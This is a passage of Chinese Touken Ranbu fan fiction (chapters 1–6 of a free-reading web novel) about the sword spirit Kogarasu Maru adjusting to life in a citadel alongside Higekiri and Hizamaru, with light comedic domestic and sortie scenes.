《源氏小乌在本丸》 1. 第 1 章 《源氏小乌在本丸》全本免费阅读 “源氏重宝狮……髭切的仿刀……小乌,请多指教。” 小乌显现的时候,还没等他观察周围的环境,迎面就被他的新主人猛地扑了个满怀,他只能身体僵硬的任由这个小姑娘在他怀里蹭来蹭去。 “锻到了?锻到了!我竟然真的锻到了!不是保底,不是保底!哈哈哈哈哈——我欧了?我欧了!!!” 一旁的加州清光努力拯救被他家激动的主人整的恨不得躲起来的付丧神,“主人!你不要一直这样啦,新人他很不自在的啊。” 审神者清月立马放开手,向后退了几步连连道歉,“啊,抱歉抱歉!” 被放开好受了不少的小乌镇定的摇摇头,“不,并没有什么。” “我就是太激动了!你不要误会,激动,太激动了嘿嘿嘿……” 小乌:“……” 加州清光显然是已经习惯了自家主人这个德性,他双手合成一个大喇叭,然后凑近审神者的耳边喊道,“主、人——主、人——” 喊完之后扶住双眼转圈晕乎乎的审神者,他看向小乌,“不要在意,我们的主人只是偶尔有些奇怪,但她的确是个好主人。” 小乌点头,没有否认,也没有附和加州清光的话。 审神者的好与坏,合格与否,他会用自己的眼睛来看。 清月总算是恢复了正常,刚刚那股子刚锻到新刀的兴奋劲儿现在也缓了过来,此刻的她也想起了有关于小乌的故事,面上纠结一闪而过,然后认真道。 “小乌,我们本丸里有髭切在哦。” 髭切大人吗?小乌点头,“原来如此,髭切大人已经在了吗?” 见他面色平静,清月继续道,“还有膝丸也在。” 小乌继续点头,然后他就发现不论是审神者还是那振刀都严肃的看着自己看,他的眼里露出一丝疑惑,“嗯?” 小乌接受时之政府的契约自愿降下分灵,自然是知道自己是会在本丸里遇到髭切大人和膝丸大人,这是他一开始就明白的事情。 所以现在,他并不明白为什么这位审神者要着重提起这点。 但是,小乌沉思着,突然想明白了什么后怔住,再次抬起头看着眼前的女生,然后神色平静的接受了自己的命运,“我明白你的意思了。” 清月欣慰……? 嗯嗯嗯嗯???? 下一秒,在他们的注视下,小乌转身看向四周,随后径直的走向了一旁的刀解池,毫不犹豫的拿着本体就要往里丢。 清月&加州清光:“???” 清月&加州清光:“!!!” 欣慰个头啊?! 等等等?!他们不是这个意思啊! 经过九牛二虎之力,审神者清月和加州清光才劝住了这个他们好不容易才锻出来的和小狐丸一样的明明是个三花却又掉率堪比五花的太刀。 小乌纠结的看着两人,再次确认道,“真的不是因为已经有了两振一具的源氏重宝,所以不需要我这个仿品的意思吗?我能理解的。” “不不不!当然不是!” “还有!你能理解!我不能理解啊!” 小乌被审神者后面一句大吼吓得不自觉往后退了一步,虽然不理解她为什么这么激动,但还是维持住了表面的平静。 加州清光跟在身后附和,“是啊是啊,主人刚刚那么激动,是不是?那个表现总不会是骗人吧!” 清月被刚刚的意外吓出了一身冷汗,现在急需休息,她看向一旁的近侍外加初始刀,“那个啊,清光,你带小乌去看看本丸吧。” 加州清光:“……” 闭着眼睛就知道主人的意思,他点头,“我知道了,小乌,你和我来吧。” “对了,我是加州清光,是冲田总司的刀。” 小乌看了一眼疲惫离开的审神者,抿了抿唇,他刚刚是做错了什么吗?将这件事情压在了心里,便抬脚跟上了加州清光的步伐,“好。” * 黑色的短发及肩乖巧的垂在脑后,和那两振源氏刀一样的茶金色猫瞳,那张和髭切只是有些相似的脸庞,虽说是仿刀,也没有想象中的那么相像。 黑色的军装外套整齐的穿戴在身上,没有扣子露出了白色的内衬,胸前是一个乌鸦纹饰的挂链,被固定在外套两侧。 明明将自己包裹的严严实实,却独独将小腿下脚踝的位置露了出来,只有显眼的白色扎带绑在脚踝的位置。 加州清光扫过他的脚踝欲言又止,在小乌看过来的疑惑的眼神里,最后只是扶了扶自己的红色围巾,然后继续带他介绍本丸。 “髭切和膝丸今天出去远征去了,不过晚餐之前会回来,”加州清光继续说道,“虽然主人存够了限锻保底的资源,但除了锻刀之外本丸还有很多地方都需要资源。” 小乌点头。 嗯,资源很重要,他记住了。 “源氏部屋的话,就在那边,一会儿我带你去就行,虽然还没锻出来你,但膝丸他们已经将你们的东西都准备好了,你直接住进去就行了。” 小乌握着本体的手紧了紧,尽管早就已经做好了遇到的心理准备,但住在一起……声音不自觉放轻了下来,“我要和髭切大人和膝丸大人住在一起吗?” 毕竟有着那样的故事,加州清光还是在意他想法的,主人也在意,如果实在不愿意的话,“毕竟你们都是源氏的刀,要不,你要和……” 小乌立马摇头,“不,不用了,如果两位大人不弃,我自是愿意的。” 加州清光点头,“那就是最好的了,看得出来,他们对你还是很期待的。” 虽然在意,但真的后面拒绝了,源氏那边主人还有的头疼。 小乌微怔,微垂的眼眸里泛着细碎的光,“……嗯。” “……谢谢。” “诶?” “啊,没什么。” * 逛本丸的一路上碰到了不少刀剑,大多都是用着好奇的眼神看向他,但应该都是友好的,小乌的直觉是这么告诉他的。 看着加州清光离开,小乌关上了部屋门,然后看着有些杂乱的部屋皱起了眉,可他拘谨的站在门后,也不知道自己该做什么。 两位大人竟然是如此乱、如此不修边幅之刃吗? 应该收拾一下吗?但如果是刻意的,他会不会帮倒忙? 但是,这里都是两位大人的东西,如果乱动的话,髭切大人和膝丸大人很可能会生气的吧。 还是等、等两位大人回来吧,刚刚他在路上听到了,离吃晚饭的时间好像也快了,那就是说他们也快回来了。 等等,两位大人回来的话,他是不是应该去迎接他们,在部屋里待着好像会不好,小乌想起了之前那个红围巾给他介绍的转换装置,深吸一口气。 等他做好心理准备要出去的时候,就听见外面传来一道急促的脚步声,然后部屋门被倏地拉开。 刚好站在门口的小乌顿时就僵在了原地。 眼前薄绿发色的青年见到他时眼里露出了惊讶,随后小声道,“和兄长的样子也没有那么像啊。” 兄长?他怔愣的看着眼前这个青年,立刻明白了他的身份,心绪复 2. 第 2 章 《源氏小乌在本丸》全本免费阅读 最后的最后,膝丸努力让小乌叫他哥哥这件事情还是不了了之,啊不,不对,只是被他暂时搁置了,以后继续努力! 那个在兄长面前有问就有答的刀在他这里说起称呼之后就成了锯嘴葫芦,逼急了就只是冒出来一句专门噎他的“膝丸大人”,然后就再次闭嘴装死。 尤其是兄长只是在一旁看着打定主意不去参与进他们之间的问题,小乌也不说话,部屋里的气氛异常的安静,这让膝丸感觉自己在欺负对方。 他没有啊! 他只是想要听到一声哥哥而已,怎么就这么困难?! 说真的,突然听说小乌实装然后要做哥哥这种事情其实对膝丸还是挺有吸引力的,毕竟他一直都只是兄长的弟弟。 别人家的那不行,他也不是随便认弟弟的刀。 现在好不容易来个自家的,结果还不愿意叫他哥哥。 一口一个膝丸大人,膝丸大人的,生疏的不能再生疏,膝丸叹气,有些苦恼,虽然,他们以前的确没见过,而且他和小乌之间……替代品什么的? 但站在膝丸的立场上,比起其他人猜测他不满小乌可能代替了他在兄长面前的位置什么的,不如说更多的还是感谢和怜惜吧。 后来小乌代替兄长被送往平家,最后被发现后折断;如果当初被送去平家的真的是兄长,就算是本作,最后也极有可能伴随着平家落败而消失吧。 还有兄长的友切之名,不就是这么来的……等等?膝丸这才反应过来一个被忽略的问题,小乌的话,现在好像比他和兄长都要高来着? 不不不,身高不重要,兄长又不是真的在意身高的人,他的目光落在小乌脚踝处的白色绑带上,是那里吧。 随后收回目光时就正好看见兄长也盯着那处的目光,不知道在想些什么。 膝丸抿唇。 他们之间,最重要的是小乌自己怎么看待那些过去,和他还有兄长的时间比起来,小乌存在的时间太短太短了。 随后他骤然间站起身,动作大到吸引了两个人的目光,髭切也看过来,膝丸认真道,“兄长!先换一身衣服吧,一会儿我们带小乌一起去吃饭。” 说完没等髭切开口回复,就又看向小乌,“小乌,你就先在一旁等一会,等我们换好衣服,带你去食堂,然后顺便认识一下其他的刀剑。” 小乌下意识的看向髭切,见对方什么也没说就已经站起身去换衣服之后,也准备起身,“啊,好,需要我……” 膝丸将他按着坐下,“不用,你只要坐在这里等着看着就可以,我和兄长的衣服没那么复杂,很快就会好的。” 感受到肩上的力道,虽然他的确在阻止自己,但是并不沉重,倒也没有强硬的意思,小乌重新收腿坐好,认真点头,“是,我知道了。” 碎碎念着一边吐槽着什么,一边又帮髭切大人整理好换下来的衣物,髭切大人也是十分温柔的和膝丸大人说着话。 两位大人的关系真的很好啊—— 小乌坐在一旁静静看着。 虽然早就知道这样的一个事实,但是真的看到还是控制不住自己内心那股酸涩情绪的变化,他只是膝丸不在时的替代品,他也从未见过这两位的相处。 有了膝丸的本丸为什么还会需要他?其实那个时候自己就该自行去跳刀解池,虽然不知道那个人类到底是怎么想的,但他是真心这么觉得并且理解的。 那可是髭切大人,和髭切大人认可的膝丸大人,他怎么比得上? 自己不被需要那也是应该。 似乎是察觉到了他的注视,髭切偏头看过来,双眸疑惑间,对上了他的目光,也不知道是究竟看到了什么,然后只是对他微微一笑。 小乌顿时就瞪大了眼睛,然后掩饰的低下了头。 手指有些慌乱的揪着裤腿,那股丑恶的情绪,自己表现出来了吗? 他不知道髭切大人眼里的自己究竟是什么样的,但是,一定会生气的。 可是,髭切大人刚刚对他笑了…… * “小乌,小乌?小乌!” 小乌一个激灵回过神来,随即立马应声道,“怎么了?膝丸大人?” 膝丸无奈的看着他,“你怎么走神了?吃饭的时候好歹要认真一点啊。” 吃饭走神?实在是太失礼了,“抱歉,我……” 啊这——膝丸再一次有了自己在欺负人的感觉,他只能打断道,“好了,这种时候没必要道歉。” 膝丸耐心道,“吃饭的时候认真一点,好歹是第一次拥有人身,很多地方都需要适应和摸索,就比如说吃饭,口味什么的也好歹注意一下。” “喜欢什么,或者不喜欢吃什么。” “我们现在已经不仅仅是刀剑了,偶尔享受生活也是有必要的。” “对了,兄长,小乌的口味会不会和我们差不多啊?”膝丸突然发问。 髭切看过来,“嗯?或许?毕竟是我的仿刀,和我一模一样也很正常。” “这样吗?那就试试吧,”膝丸对着小乌解释,“今天我和兄长远征,没想过小乌你会来,毕竟我们家主的运气,一向嗯……所以才没有提前准备。” “对了,要是以前来刀剑的话,一定会带他到万屋去一趟的,好歹要对自己现在的身体多一些了解,不过小乌你……” 膝丸的眉头蹙了起来,然后摇头定下了后面的安排,“小乌你果然还是再过一段时间,我和兄长一起陪你去万屋。” 小乌毕竟刚刚实装,出货率本就不高,现在去万屋,那绝对是个有够可怕的场面,为了小乌的小心脏着想,膝丸觉得现在绝对不能去万屋。 小乌不明白膝丸心里想的那些事情,但既然都这么说了,想必髭切大人也是这么认为的,他也没有什么必须要去那个什么万屋的想法。 其实如果可以的话,他更希望只是单纯的陪在髭切大人身边,哪怕只是坐在一边静静看着,对他来说也已经够了。 是这样吧? 没错,就是这样! 更多的…… 那也不是他该奢望的。 * 膝丸“好 3. 第 3 章 《源氏小乌在本丸》全本免费阅读 小乌一晚上都没有睡着;激动有,紧张有,不自在也有,各种复杂的情绪交织在一起,最后根本没有办法进入睡眠。 事情的起因是膝丸说要让他感受到来自哥哥的爱,然后就毫不犹豫的将他的床铺铺在了最中间,而且髭切大人看着这么胡闹的事情竟然也没有阻止?! 小乌:“!!!” 小乌当场表情空白,最后就还是半推半就的躺了下来。 当然,他的心里也是不可能去排斥这点的,毕竟自己就睡在髭切大人身边什么的,无论怎么想都是一件令刀振奋的事情。 然后他就一晚上都没能睡着。 没办法,根本没办法睡过去,闭上眼睛就想睁开,因为像是做梦一样。 等到膝丸一早醒来,第一眼就看见了小乌背对着自己的后脑勺。 膝丸:“……” 定定的看了一小会儿,嗯,应该说这样才是正常才对,毕竟对象是兄长,他在心里舒了口气,随口轻声道,“小乌,早。” 膝丸就这么看着那个身体一怔,然后很小声接道,“早,膝丸大人。” 真好啊,他甚至都不愿意回头看自己一眼。 膝丸无奈坐起身,看了一眼部屋里从外面透进来的亮光,准备起床,“醒的这么早,是因为刚有人身还不适应吗?” 小乌:“……” 小乌扯了扯被子,将自己的下半张脸直接给盖住了,那是压根没睡。 注视着眼前那张依旧熟睡的脸,然后微微侧过身看向膝丸,声音依旧放轻却是认真道,“膝丸大人,髭切大人还在休息。” 膝丸:“……” 这是什么意思呢?嗯,是叫他闭嘴别吵了是吧。 但是啊!他起来了,一般兄长也到时间起来了啊!膝丸看着在小乌转过身后缓缓睁开眼睛的兄长,以及感知到动静陡然间受到了惊吓的小乌。 啊,以为是被自己给吵醒了所以惊吓到了吧,兄长真是……看着那张惊慌失措大受打击的脸,以及兄长安慰的声音,膝丸最后还是默默闭上了嘴。 * 刚刚来到本丸的小乌对什么都很陌生,刚刚拥有人身还没有怎么适应,也就难免会发生些笨手笨脚的事情,同时也在慢慢接受人类使用的事物。 一路上磕磕碰碰的小乌在吃过早餐之后就被审神者叫近侍喊去了天守阁,他原本以为是有什么命令,结果却只是被要求拿着本体站在那里不动就行。 等到清月抱着什么东西在一旁嘿嘿笑时,小乌也没有被允许离开,他站在原地微微皱眉,见没有再要求自己什么,看向一旁的近侍,“主公在笑什么?” 陆奥守吉行有些意外自己竟然被新人主动搭话了,明明就昨天来看,这个新人的性格看起来很明显的就是那种不善言辞的内向性格? 嗯,毕竟就昨晚来看,的确是那么一副沉默的样子,加州那家伙昨天接触过后也评价说什么他不爱说话,内心脆弱?表情还是一副拒人之外的严肃。 不知道加州说的是真是假,但看起来就不好接触什么的,这是他们一部分人的评价,现在来看也不能说是严肃,不如说刚来本丸所以紧张吗? 也是,刚刚显现总会有各种各样的问题会发生,既然有那样的逸闻也能和源氏的刀剑平和安静的相处,那就意味着其实也没什么大问题? “主人拍了你的照片,现在正在欣赏。”陆奥守吉行表示自己已经习惯了。 小乌疑惑,“照片?” 陆奥守吉行耐心解释,“嗯,就是说将你的样子记录下来的意思。” 小乌明白这个意思了,但还是有些不解,“她为什么要这么做?” “因为主人要把她锻到你的事情告诉全世界啊,”陆奥守吉行笑道。 小乌懵了,他在说什么自己完全听不懂的事情,“这是什么意思?” “主人难得欧气一回,你是时之政府刚实装的刀剑,出货率本来也就是相当的低,能这么快就锻到你,主人当然要好好的向别人炫耀一下了啊。” “原来如此。” 小乌点头,表示这么说自己就理解了。 “虽然不知道为什么昨天没有刚锻出来就拉你来,嗯,这么一想,的确很奇怪啊,明明昨天就已经锻出你来了诶。” 昨天?想到这个人类昨天离开时的背影,好像是因为自己做的那件事情。 小乌想了想,没有再看一旁的陆奥守吉行,转而去注视着他现在的主公。 原本一边笑一边正在疯狂打字的清月看着上面的内容,想起一件重要的事情,她扒拉出小乌的数据,原本是想看必杀,结果却不自觉的落在了明显突出的机动上。 清月:“???” 啊这——这个机动对太刀来说有些可怕啊。 清月沉默,最后不自觉的落在了对方的脚踝上。 嗯……情有可原,情有可原。 但是,脑海里还是不自觉的浮现出一个画面,源氏三人组同行,年轻健康的膝丸带着自家年迈老哥,和残疾老弟,咦——这都什么地狱笑话? 将脑海里冒犯的想法撇开,这些事情只能在脑子里想一想,看到了还算高的必杀值,清月清了清嗓子,“小乌,你刚来也需要去适应一下战斗。” 她认真道,“去出阵吧!总要适应这具身体不是吗?” 小乌一怔,从清月手里接过了一枚刀剑御守,严肃道,“是,我明白了。” 最后在审神者左叮咛右嘱咐的碎碎念中,小乌一律应下她的关心,并且在离开之前他还是转回头对昨天的事情做了一个道歉。 “昨天的事情,虽然我不知道你介意的理由,但是,既然给主公你带来了困扰,那就是我的错,抱歉。” “小乌!”清月先是一愣,随后便是大为感动,真的好乖好乖啊,“咳——既然你都这么说了,那就以后不许有那样的想法了,知道吗?” “嗯。” 小乌认真点头,“我尽量。” 清月:“……” 认真的?她现在能收回刚刚心里想的那句话吗? 不过说真的,锻刀之前的那些顾虑现在好像什么都没有发生,除了昨天刚见面时他的举动给自己吓出了一身冷汗之外,目前为止,源氏那边相当和谐。 嗯,以他的必杀值来看,这一次应该没大问题。 第一次嘛,总要趁着敌人不强时感受一下战场的险恶。 嘿嘿嘿—— 她已经做好手入的准备了,然后光明正大的看光……咳咳—— * 小乌离开天守阁之后跟着近侍……话说,他叫什么名字来着?眉头不自觉蹙起,最后在到达转换装置前时直接放弃了思考。 算了,他的名字不重要。 现在最重要的事情是出阵。 只是在离开之前没有看到髭切大人,小乌收回自己略有些遗憾的目光,在近侍的指导下试了一次转换装置,然后就开始了自己的第一次出阵。 紧张和兴奋并行,在遇到敌人的时候他就是这么想的,绝对不能丢人!他的首战无论如何都要打的漂漂亮亮的,绝对不能给髭切大人丢脸! 4. 第 4 章 《源氏小乌在本丸》全本免费阅读 “来,多吃点,嗯嗯,”干草伴着料豆,小乌半蹲在料槽前,一边看着他们将脑袋伸过来进食,一边薅着马头逮到机会就摸了起来,“真的好乖啊你们。” 今天是小乌和鲶尾藤四郎的马当番,给马儿喂食,给他们梳洗,看着马厩里的马儿,小乌眼里的慈爱都快溢出来了。 马头让开,小乌就顺势放手,等到再次将头伸过来时,小乌就又毫不见外的将手伸了过去,来来回回的重复,丝毫不嫌厌烦,且每一个都会照顾到。 马儿无语,看向小乌的眼里都充满着无比的嫌弃,但都被对方眼瞎似的给忽略了,“怎么了?是不好吃吗?吃腻了?想换点别的东西吃?” 众马:“……” 算了,最后只能躺平任摸。 “很棒!”看着料槽里的食物被吃得干干净净,小乌温声道,“现在就吃这些,稍等一会儿,我将这里清洗干净,你们休息吧。” “嗯?是想出去放风吗?可以的啊,等我回来之后给你们轮流放风,想要一起吗?不可以哦,把你们都带出去了,主公需要你们的时候怎么办?” 碎碎念说完这些,小乌就起身往外走,他今天的搭档鲶尾藤四郎也不知道现在在做什么,不过这些都不重要,他只要把自己想做的和本分的做好就行。 鲶尾……藤四郎,小乌的脑子听到这个名字还是不免头疼,这是膝丸大人在得知了他要马当番之后,就已经不止一次的在他耳边提醒对方的名字了。 你说为什么?因为小乌的确不记得本丸里其他刀剑的名字,明明他只要记得髭切大人和膝丸大人的名字就好了,其他刀剑和他也没有什么太大的关系。 髭切大人和膝丸大人的每一个名字他都有认真记得,绝对不会忘!其他的就算了,好像也不全对,嗯……还得再加上现在的主公,这个他也不会记错。 是髭切大人口中说的什么对名字不敏感吗?或许?是也不是?只是他单纯的觉得没有必要去记住,所以没有花费什么心思在这上面。 但现在他发现好像还是有必要的,不能因为自己影响到髭切大人的名声,这件事情被发现是自己被膝丸大人拜托将一件东西去送给加州清光,但是…… 小乌接过东西,将这个名字记下,但也没有多问,就直接出了部屋去找加州清光,后面的事情十分顺利,他敲响了新选组部屋的门。 过来给他开门的正是加州清光,小乌记得这个自己刚显现就带自己熟悉本丸的红围巾,“是你?原来你住这间部屋。” “小乌?”加州清光有些意外能看到他,但他还是先一步的问起了正事,“你来找我有什么事情吗?” 小乌看了一眼里面,直接问道,“打扰一下,请问加州清光在这里吗?” 加州清光:“???” 加州清光怀疑自己的耳朵,他默了默,随后抬起头,“你问谁?” 小乌以为他没听清,重复道,“我找加州清光。” 加州清光突然有些痛苦的闭了闭眼,他反问,“那么,我是谁?” “……” 小乌顿住,他看着眼前的红围巾眼里甚至露出了一种奇怪的神色,忽然间明白了什么,“难道你就是……加州清光?” 到底什么叫做原来你就是加州清光?难道他长得不像加州清光吗?!不,这都什么啊?!什么叫做长得像不像?他就是加州清光?!要什么像不像的! 加州清光从未想过自己还能有这么一天,虽然原因不一样,但他发现自己在某种程度上竟然想要共情一下膝丸,“你、觉、得、呢!” “原来如此,”小乌一如既往的淡定,也没有因为这种事情感到抱歉,他将手里的东西递了过去,“这样就好了,给,膝丸大人叫我给你送过来的。” 一口气像是锤在了海绵上,又给直接反弹了回来,加州清光心里堵得慌,自己应该是他显现见到的第一个人,不,刀吧。 明明当时他就介绍了自己,一路上也有不少人叫自己,这段时间他们也有打过交道,结果搞半天他连自己的名字都不记得。 “你真不愧是髭切他的仿刀。”只不过人是记不住自己和弟弟的名字,他的仿刀大概是只记得他们两个的名字。 “嗯?”听起来像是夸奖,但是语气莫名的不对,小乌停下了原本准备离开的脚步,定住又转过身,“你是在嘲讽我吗?” 他可以被嘲讽,但是他不能接受有人借着他的名义嘲讽髭切大人,如果是因为自己,那他简直就是罪人!当然,开口嘲讽的也是一样的罪行。 “是啊,和髭切一样记不住名字!”加州清光翻了个白眼。 小乌顿时一噎,“髭切大人只是因为膝丸大人的名字太多才会如此。” 加州清光看出了他那微变的脸色,果然,说到髭切就会变脸了吗?他再次严肃重复道,“我叫加州清光!你给我好好的记住我的名字啊!” 事情就是如此流传了出去,小乌无声的叹了口气,即使被那么多刀剑甚至主公一言难尽的目光注视着也没有关系,但是髭切大人…… “唔,小乌只是因为将太多目光放在了我身上,所以才会忽略了名字,不过小乌是我的仿刀吧,对名字什么的不敏感应该也很正常。” “稍微努力一下就好了,就算真的记不住也没关系的啦,大家会包容的。” 髭切大人…… 他和髭切大人不一样,髭切大人是因为活的太过久远,各种逸闻故事记忆繁多,但他不一样,他需要记住的本来就很少,很少。 “哟吼——”这道声音打断了小乌的思绪,听到声音后看过去,就看见一个味道不明的圆形物体从自己面前飞了过去。 小乌:“???” ……刚刚那是什么? 橙发少年在不远处气急败坏道,“鲶尾!你到底在干什么啊?!” “真的好可惜,差点就命中目标了呢。” “可恶!你等着,我回去就和主人说你又在玩马粪,不好好工作!” “诶?!等等等等!乱!我错了!我有工作的啊!” 小乌:“……” 看着两人打闹走远, 5. 第 5 章 《源氏小乌在本丸》全本免费阅读 “近侍?我吗?” 刚刚出阵回来还没来得及汇报出阵情况就被告知自己要做近侍的事情,小乌有些意外,“你是说要我做近侍?” “没错,小乌,从明天开始你就做我的近侍!” 清月一脸严肃,那双眼睛紧紧盯着他,其实并没有什么过多的气势,要真的说是命令,听起来强硬的口吻没有什么过多的强制性。 “你来本丸也有段时间了,我觉得现在对本丸已经熟悉的你可以顺利接下近侍这个位置。” 现在还在耐心给他解释选择他的理由,其实并没有这个解释必要。 既然是主公口中说出来的,即使不是命令的口吻也是需要完成的命令。 小乌点头,“我明白了,多谢你的看重,我会认真完成这项工作,请你放心,为了不给你拖后腿,我今天会去请教其他做过近侍的刀剑。” 清月:“……” 清月张了张嘴,“啊,好……” 然后闭嘴。 虽然她是知道小乌对待各项任务都相当认真,但是这个态度还是有些让她惊讶啊,真不愧是髭切,将他的性格已经拿捏的一清二楚了。 不过也是,真的能拿捏小乌也就髭切了吧,唔,或许膝丸也可以? 她想起自己之前因为小乌的事情特地去找了一趟髭切才得到的可能算是的一种方法,不过髭切倒是很淡定,真是……也就只有她天天瞎想了。 “嗯?家主是在说小乌吗?” “没错!” 清月一脸严肃,“髭切,你不觉得小乌他现在的状态,怎么说呢?感觉其他刀剑和他……虽然本丸里的刀剑是有内向的,但他明显就不是这种性格。” 小乌的性格在某种程度上可以说是相当直接,当然,除了他的髭切大人。 倒不是说和其他刀剑相处不好,要真的说起来,除非真的是那种不讲理的人,或者有谁和髭切杠上了,不然也用不上相处不好这个词。 虽然髭切并不觉得这件事情有什么问题,当然,也有他们家主在的原因,对于现在的家主,大家是放心的,所以小乌的事情也不需要他多费心,“家主要是真的想要他尽快融入本丸,不如,让他做一段时间的近侍,怎么样?” “近侍?”清月意外。 髭切点头,“嗯,近侍。” 清月像是明白了什么,“你是说让他对本丸有参与感?然后爱上本丸?” 髭切但笑不语。 嘛,其实真要说起来也差不多吧。 所以他才说不用担心,反正家主早晚都会安排近侍,不过是时间的事情。 回想结束,清月看着小乌离开的背影,唔,现在这样的话,小乌他做过近侍之后,应该就能和本丸里的其他刀剑拉近距离吧。 那可真是太好了! 不是她一定要逼迫什么,但这些事情对小乌来说根本不算问题,毕竟小乌和被被不一样,不说别家的,就单说她家的,那和什么自闭自卑一点关系都没有,当然,在髭切和膝丸面前除外,她也不清楚这三人到底是怎么相处的。 这段时间她也看出来小乌对自己仿品的身份和其他两个不一样,就算是骚速剑自己也是在意的,但只是心态好,所以乐观向上。 但小乌就是明显的不一样了。 啊,不对,其实小乌也是在意的,但他是在以自己这个仿品的身份为豪。 只要他和髭切和膝丸关系没出问题,自卑或者自闭什么的?那好像根本不会出现在小乌的字典里,她就没看过小乌小可怜的样子。 他自卑?他恨不得全天下都知道他是髭切的仿品,而且其实也没有收敛,那股刻进刀剑本能里的骄傲,是真的时不时的就能看出来。 不过也是,毕竟小乌除了髭切仿品的身份,他也是一把好刀。 由源氏下令名家打造,代替膝丸成为源氏双刀的存在,又能替代髭切到以假乱真的地步,这两点都证明了他本身就是一把无疑的好刀。 不然,那两家人见多识广又不是真的瞎。 各项数据也不错,当然,咳咳—— 这里说的是除了机动以外的其他数据,还是不说不说了。 区区机动而已……哎——其实还是可惜的。 小乌刚从压切长谷部的部屋出来,对于自己特地过来请教的心思,对方对待自己还是耐心的,他将该记下的事情记下,道过谢就离开了。 “哟,是小乌啊。” 鹤丸国永端着一盘子的饭团出现在他面前,小乌停下脚步,皱眉思考着对方有没有做过近侍,但却被鹤丸国永给误会了,喂喂,不是吧。 一身白的太刀无奈凑近道,“小乌你又不记得我的名字了吗?” 小乌:“……” 小乌沉默,随后道,“我没有,你是鹤丸国永。” “哇——竟然真的记住我的名字了,真是可喜可贺,”在小乌说着说着就沉下来的脸色中,鹤丸国永见好就收,他将饭团送了过来,“要尝尝吗?我做的饭团。” 小乌从面前装着饭团的盘子移开,“鹤丸,你做过近侍吗?” 鹤丸国永微愣,随后点头,“嗯?啊,是有做过来着,诶……所以说小乌你要做近侍了吗?” “是,主公让我明天做近侍,如果可以的话,可以请你给我一些意见吗?” 鹤丸国永收回手里的盘子,“好啊,我们找个地方一边吃饭团一边聊吧。” 小乌认真道,“多谢。” “没事没事,”鹤丸国永走在前面向后摆手,“近侍也是为了本丸和大家,你做好对我们才是最好的。” 小乌微怔,随后应声,“这样吗?” 然后就抬脚跟了上去。 “教学”之前,鹤丸国永无论如何都要小乌尝一口他做的饭团,小乌无奈,但看他这个样子,还是伸手拿起一个饭团,然后咬了一口,嗯……没味道。 “怎么样怎么样?”鹤丸国永双眼亮晶晶的看着小乌。 “嗯,很好吃。”小乌一边夸奖,一边默默地将盘子推了回去。 “太好了——”鹤丸国永十分大方道,“既然你喜欢,那就都给你吃了。” 小乌:“……” 他能反悔了吗? 但是,看在经验的份上,区区几个饭团而已。 6. 第 6 章 《源氏小乌在本丸》全本免费阅读 蛇骨短刀在巷子里疯狂逃窜,蜂须贺虎彻正在和好几个敌人缠斗着,“浦岛注意!这里交给我!那边的别让它跑了!” “我知道了!”浦岛虎彻立马脱离缠斗,“蜂须贺哥哥你自己小心!” 浦岛虎彻说完就朝着敌人逃窜的地方追了过去,但敌人的行动速度在他之上,再加上在巷子里疯狂逃窜转弯,的确耗时,两人之间的距离慢慢拉开。 就在蛇骨短刀经过一道路口,再次转弯时就直接撞在了一个正在等待着的太刀面前,然后在敌刀反应过来准备逃离之前,就已经被从中一切两断。 看着眼熟的太刀解决了敌刀,浦岛虎彻惊喜道,“小乌!” 小乌看着他,随后向四周看了看,“你们那里还有别的敌人在吗?” 浦岛虎彻在他面前停下,脸上的表情总算是轻松了下来,“我们这边已经没有了,剩下的蜂须贺哥哥自己可以解决的。” “那看来就已经结束了,”另一道成熟的声音响起,戴着眼罩的太刀从另外一边走出来,“五虎退他们那边应该也不会出什么问题。” 浦岛转过身,“烛台切?你怎么在那边,你和小乌不是一组……” 烛台切光忠在小乌对面停下,“嘛,毕竟我和小乌的隐蔽没办法比啊,和小乌待在一起只会让小乌被连累的一起被发现,那我们可就抓不到敌短了。” “明明是你故意暴露将敌刀往我这边赶,没有烛台切你说的那么夸张。”小乌将本体收回刀鞘,然后看向他。 “不夸张吗?很夸张啊,”烛台切光忠看着他腰间相当长的太刀本体,“小乌你明明就是不短的太刀,为什么隐蔽夸张到都能去去刺杀的程度了?” 小乌不知道该怎么回答,他默了默,“因为我比较小心?” “这么说的难道是我们不努力吗?”烛台切光忠摇摇头,“不可以这么说。” “说起来膝丸也是,在小乌你来之前,膝丸的隐蔽在我们这个刀种之间就是最高的,结果你……” “不过他的隐蔽是高,你的是夸张。”能和胁差相比是想干什么啊?你是要专职刺杀吗?难怪主人总是说可惜了他的机动,限制了他的发展。 小乌不接话,也没法接,“烛台切,我们该去约定的位置汇合了。” 浦岛虎彻也趁着这个时候说道,“我去找蜂须贺哥哥,一会儿也去汇合。” 两人一起走进城中的街道,烛台切光忠看着一旁依旧是一脸正色的太刀,唇角微微勾起,“小乌你现在也是越来越适应本丸了啊。” 终于……一直被盯着但却没有半句话的感觉并不好,他回道,“本丸并没有什么会令人不适应的地方,主公她很好,本丸自然也很好。” “这样吗?你能这样想就很好,主人要是能在这里听到你说这句话,她大概会感动到哭出来吧。” “主公吗?”小乌微微一笑,他想起本丸里那个一直都有在很认真工作的女生,做近侍的那段时间,他是真的看得差不多,那位的确是个不错的主公。 烛台切也是笑着,“不过,不该只是这么说才对,”在小乌疑惑的眼神下,他继续道,“是不是还有你的髭切大人和膝丸大人?” 小乌:“……髭切大人当然是最好的,膝丸……”他顿了顿,还是道,“膝丸大人其实也很好,嗯,膝丸大人也很好!” “最好的果然只有髭切吗?主人要哭了哦,膝丸可能也要伤心了,要知道今天出阵前,膝丸他可是特地左叮咛右嘱咐,让我多看顾一下你。” 小乌一顿,他微微蹙起眉,然后又松开,“膝丸大人就是喜欢担心这些根本没有必要的事情,我是绝对不会给髭切大人丢人的。” 烛台切光忠只是注视着小乌,然后移开目光说出了自己的感想,“嘛,这大概就是有弟弟的苦恼吧,尤其还是在遇到一个比较叛逆的弟弟时。” 小乌:“???” 对面那个太刀到底在说什么?小乌迷茫,小乌不解?什么叫做叛逆? “膝丸真的很辛苦呢。”烛台切光忠继续感叹道。 小乌不可置信的看着他,“你到底在说什么?” “难道不是吗?”烛台切光忠无辜道。 小乌涨红了脸反驳道,“当然不是!我怎么可能会是这样的刀!” “可是,可是大家好像都是这么说的?”烛台切光忠像是经过了深思熟虑才说出了这番话,随后见到小乌的表情也是面露疑惑。 “大家?”小乌屏住呼吸,什么叫做大家都是这么说的?他、他在大家眼里竟然是这种刀吗?他、他……他竟然就是这种刀吗? 好、好耻辱…… 果然还是他在本丸里的表现不合格,所以给髭切大人蒙羞了吗?! 